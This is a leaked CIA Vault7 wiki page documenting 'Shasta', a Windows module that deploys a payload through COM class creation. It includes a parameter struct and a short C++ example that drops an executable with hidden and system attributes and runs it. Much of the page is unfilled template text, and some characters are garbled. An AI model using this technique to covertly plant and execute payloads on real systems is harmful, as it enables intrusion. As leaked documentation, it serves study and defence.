Vault7: CIA Hacking Tools Revealed
Navigation: » Latest version
Create A Process Via COM Class Creation (COMLocalServerRun_SHTA - Shasta)
SECRET//NOFORN
OSB Library: Payload Deployment
Module Name: COMLocalServerRun_SHTA - Shasta
Module Description: Describe how the technique works. All the cool things it does. Describe how cool the module writer is, etc.
PSP/OS Issues: No known issues. This module must be run as system (process creation is called with "Show Window" flags).
('excerpt' missing)
Sharing Level: Unilateral
Technique Origin: In-house
Notes: Any information that could be useful to anyone maintaining the code or using the code. i.e. This module uses Alternate Data Streams which are only available on NTFSNT filesystem (Windows) volumes.
Module Specific Structures:
struct PARAM_SHTA
{
DWORD dwAttribs; //The attributes of the target payload on disk
WCHAR *wcArgs; //Arguments for the payload on disk
WCHAR *wcTargetPath; //The target path of the executable to drop to disk
};
Example Code:
HANDLE hRet = NULL;
IPayload *myPayload = new COMLocalServerRun_SHTA();
PARAM_SHTA params;
SecureZeroMemory(¶ms, sizeof(params));
params.dwAttribs = FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM;
params.wcTargetPath = L"C:\\TestFolder\\MyTest.exe";
params.wcArgs = L"1 2 3";
//Create Process
IPayload::PayloadErr pErr = myPayload->execute(improvedDummy, sizeof(improvedDummy), ¶ms, sizeof(params), &hRet);INCLUDE DESCRIPTIVE LABELS FOR EACH MODULE
SECRET//NOFORN